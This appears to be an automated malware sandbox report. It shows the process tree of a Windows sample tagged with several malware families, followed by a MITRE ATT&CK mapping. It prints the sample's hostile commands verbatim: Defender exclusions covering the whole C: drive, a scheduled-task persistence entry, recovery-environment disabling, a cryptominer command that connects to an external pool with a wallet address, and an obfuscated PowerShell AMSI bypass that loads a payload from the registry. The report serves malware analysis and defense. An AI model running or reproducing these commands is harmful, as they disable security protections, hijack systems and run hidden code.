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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-1b90e023-d311-4b7f-927d-8c8b7e00c256 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ff43b3e8-dcc4-4fc3-83b6-4e0e35fc9a5b -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ae7fb957-4848-4bfc-92f6-944e21e3169f -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b5f8d0c6-776f-4732-96f8-394c6d02f587 -LifetimeId:b9cc8f2e-363d-4156-93ce-1048ab73437a -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1100
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1208
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1248
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1308
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1408
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1548
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1648
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc1⤵PID:1664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1984
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:8
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS3⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:1288 -
C:\Users\Admin\AppData\Local\Temp\2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-07_ad6aca28ba001376b17b24db48d4c3f0_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"4⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4640
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2504
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2952
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C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F5⤵
- Scheduled Task/Job: Scheduled Task
PID:3840
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C:\Windows\SYSTEM32\cmd.execmd.exe /C reagentc /disable5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Windows\system32\ReAgentc.exereagentc /disable6⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:4436
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C:\Windows\SYSTEM32\cmd.execmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2496 -
C:\Windows\system32\takeown.exetakeown /F "C:\Windows\System32\reagentc.exe"6⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5076
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C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5536 -
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F6⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:6040
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C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5040 -
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX6⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5980
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-ac 05⤵
- Power Settings
PID:4756
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-dc 05⤵
- Power Settings
PID:5700
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-ac 05⤵
- Power Settings
PID:1108
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-dc 05⤵
- Power Settings
PID:5740
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-ac 05⤵
- Power Settings
PID:3312
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-dc 05⤵
- Power Settings
PID:5348
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C:\Windows\SYSTEM32\powercfg.exepowercfg /hibernate off5⤵
- Power Settings
PID:1192
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C:\Windows\SYSTEM32\cmd.execmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul5⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\system32\PING.EXEping -n 1 -w 1000 8.8.8.86⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4368
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe --algo rx/0 --url 107.149.8.96:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=905⤵
- Badlisted process makes network request
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
PID:3688
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C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1140
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1028
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1512
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:2072
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:2108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:2256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:2288
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:2424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:2508
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2560
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService1⤵PID:2632
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C:\Windows\system32\ctfmon.exe/QuitInfo:0000000000000268;000000000000026C;2⤵PID:5072
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc1⤵PID:2700
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc1⤵PID:2708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2832
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2912
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1516
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:3084
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3124
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵PID:3216
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C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵PID:3484
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:3496
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:3512
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:3560
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:3592
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:3604
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:3616
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:1164
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4360
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4712
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4764
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:5156
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C:\Windows\System32\SecurityHealthSystray.exe"C:\Windows\System32\SecurityHealthSystray.exe"1⤵PID:5260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc1⤵PID:5484
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵PID:4556
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:5920
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3288
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C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵PID:6032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4820
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Modifies data under HKEY_USERS
PID:4304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3652
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:4160
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC1⤵PID:1260
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C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2208
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C:\Windows\System32\Win-v42.exeC:\Windows\System32\Win-v42.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5388
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:4272
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C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:hibinuMIQZzU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hhluThPwjVprvr,[Parameter(Position=1)][Type]$EmTLGltmOP)$TKePaOBdvbp=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+'ec'+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+'o'+'d'+[Char](117)+''+'l'+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+'e'+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+'t'+[Char](101)+''+'T'+'y'+[Char](112)+''+[Char](101)+'','C'+'l'+''+[Char](97)+'s'+'s'+''+[Char](44)+'Pu'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+'e'+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+','+''+'A'+''+[Char](110)+'s'+[Char](105)+''+'C'+'l'+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+'A'+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$TKePaOBdvbp.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+''+[Char](99)+'ia'+'l'+''+'N'+''+[Char](97)+'me'+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'P'+'u'+[Char](98)+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$hhluThPwjVprvr).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$TKePaOBdvbp.DefineMethod(''+[Char](73)+'nvok'+[Char](101)+'','P'+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+','+'H'+''+[Char](105)+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'ig'+[Char](44)+'N'+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+'ot'+','+'V'+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$EmTLGltmOP,$hhluThPwjVprvr).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+'e'+','+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');Write-Output $TKePaOBdvbp.CreateType();}$xidGNioIzVqGR=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+'s'+'t'+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'ros'+[Char](111)+'f'+[Char](116)+''+[Char](46)+'Wi'+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+'n'+'s'+''+'a'+''+[Char](102)+''+[Char](101)+''+'N'+''+'a'+''+'t'+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+'o'+[Char](100)+''+[Char](115)+'');$RPdiUftUjQsxmI=$xidGNioIzVqGR.GetMethod(''+'G'+''+'e'+''+'t'+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+'S'+'t'+[Char](97)+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$gCbKRjLiSDIPooWxtQe=hibinuMIQZzU @([String])([IntPtr]);$jNbDFjUKSVRbaOBBaDnGNc=hibinuMIQZzU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YlARAjQQPsM=$xidGNioIzVqGR.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'Mo'+[Char](100)+'ul'+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+[Char](110)+''+'e'+''+[Char](108)+''+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$zTjWCLDYLYfMbh=$RPdiUftUjQsxmI.Invoke($Null,@([Object]$YlARAjQQPsM,[Object]('L'+'o'+''+[Char](97)+'d'+[Char](76)+''+'i'+''+[Char](98)+''+'r'+''+'a'+'ry'+[Char](65)+'')));$qKcqupJTCCGjUrVkA=$RPdiUftUjQsxmI.Invoke($Null,@([Object]$YlARAjQQPsM,[Object]('Vi'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+'ro'+[Char](116)+''+'e'+''+'c'+''+[Char](116)+'')));$KBOcRRX=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zTjWCLDYLYfMbh,$gCbKRjLiSDIPooWxtQe).Invoke('am'+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$wzgSQYxqBUcWqZsVF=$RPdiUftUjQsxmI.Invoke($Null,@([Object]$KBOcRRX,[Object](''+'A'+''+'m'+''+[Char](115)+'i'+[Char](83)+''+'c'+''+'a'+'n'+[Char](66)+''+[Char](117)+'f'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$DaEKDoEuas=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qKcqupJTCCGjUrVkA,$jNbDFjUKSVRbaOBBaDnGNc).Invoke($wzgSQYxqBUcWqZsVF,[uint32]8,4,[ref]$DaEKDoEuas);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](5+132),[Byte](233-32),[Byte](207-23),[Byte](177-90),[Byte](183-183),[Byte](231-224),[Byte](129-1),[Byte](106+25),[Byte](150+85),[Byte](240-240),[Byte](249-54),[Byte](200-69),[Byte](222+13),[Byte](253-253)),0,$wzgSQYxqBUcWqZsVF,235-221);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qKcqupJTCCGjUrVkA,$jNbDFjUKSVRbaOBBaDnGNc).Invoke($wzgSQYxqBUcWqZsVF,[uint32]8,0x20,[ref]$DaEKDoEuas);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'TW'+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](83)+''+[Char](72)+'s'+[Char](116)+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:hibinuMIQZzU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hhluThPwjVprvr,[Parameter(Position=1)][Type]$EmTLGltmOP)$TKePaOBdvbp=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+'ec'+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+'o'+'d'+[Char](117)+''+'l'+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+'e'+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+'t'+[Char](101)+''+'T'+'y'+[Char](112)+''+[Char](101)+'','C'+'l'+''+[Char](97)+'s'+'s'+''+[Char](44)+'Pu'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+'e'+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+','+''+'A'+''+[Char](110)+'s'+[Char](105)+''+'C'+'l'+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+'A'+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$TKePaOBdvbp.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+''+[Char](99)+'ia'+'l'+''+'N'+''+[Char](97)+'me'+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'P'+'u'+[Char](98)+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$hhluThPwjVprvr).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$TKePaOBdvbp.DefineMethod(''+[Char](73)+'nvok'+[Char](101)+'','P'+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+','+'H'+''+[Char](105)+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'ig'+[Char](44)+'N'+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+'ot'+','+'V'+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$EmTLGltmOP,$hhluThPwjVprvr).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+'e'+','+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');Write-Output $TKePaOBdvbp.CreateType();}$xidGNioIzVqGR=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+'s'+'t'+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'ros'+[Char](111)+'f'+[Char](116)+''+[Char](46)+'Wi'+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+'n'+'s'+''+'a'+''+[Char](102)+''+[Char](101)+''+'N'+''+'a'+''+'t'+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+'o'+[Char](100)+''+[Char](115)+'');$RPdiUftUjQsxmI=$xidGNioIzVqGR.GetMethod(''+'G'+''+'e'+''+'t'+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+'S'+'t'+[Char](97)+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$gCbKRjLiSDIPooWxtQe=hibinuMIQZzU @([String])([IntPtr]);$jNbDFjUKSVRbaOBBaDnGNc=hibinuMIQZzU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YlARAjQQPsM=$xidGNioIzVqGR.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'Mo'+[Char](100)+'ul'+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+[Char](110)+''+'e'+''+[Char](108)+''+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$zTjWCLDYLYfMbh=$RPdiUftUjQsxmI.Invoke($Null,@([Object]$YlARAjQQPsM,[Object]('L'+'o'+''+[Char](97)+'d'+[Char](76)+''+'i'+''+[Char](98)+''+'r'+''+'a'+'ry'+[Char](65)+'')));$qKcqupJTCCGjUrVkA=$RPdiUftUjQsxmI.Invoke($Null,@([Object]$YlARAjQQPsM,[Object]('Vi'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+'ro'+[Char](116)+''+'e'+''+'c'+''+[Char](116)+'')));$KBOcRRX=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zTjWCLDYLYfMbh,$gCbKRjLiSDIPooWxtQe).Invoke('am'+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$wzgSQYxqBUcWqZsVF=$RPdiUftUjQsxmI.Invoke($Null,@([Object]$KBOcRRX,[Object](''+'A'+''+'m'+''+[Char](115)+'i'+[Char](83)+''+'c'+''+'a'+'n'+[Char](66)+''+[Char](117)+'f'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$DaEKDoEuas=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qKcqupJTCCGjUrVkA,$jNbDFjUKSVRbaOBBaDnGNc).Invoke($wzgSQYxqBUcWqZsVF,[uint32]8,4,[ref]$DaEKDoEuas);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](5+132),[Byte](233-32),[Byte](207-23),[Byte](177-90),[Byte](183-183),[Byte](231-224),[Byte](129-1),[Byte](106+25),[Byte](150+85),[Byte](240-240),[Byte](249-54),[Byte](200-69),[Byte](222+13),[Byte](253-253)),0,$wzgSQYxqBUcWqZsVF,235-221);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qKcqupJTCCGjUrVkA,$jNbDFjUKSVRbaOBBaDnGNc).Invoke($wzgSQYxqBUcWqZsVF,[uint32]8,0x20,[ref]$DaEKDoEuas);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'TW'+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](83)+''+[Char](72)+'s'+[Char](116)+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1120
-
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv bUKHUH/Dx022jGQ/dG+avw.0.21⤵PID:1120
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
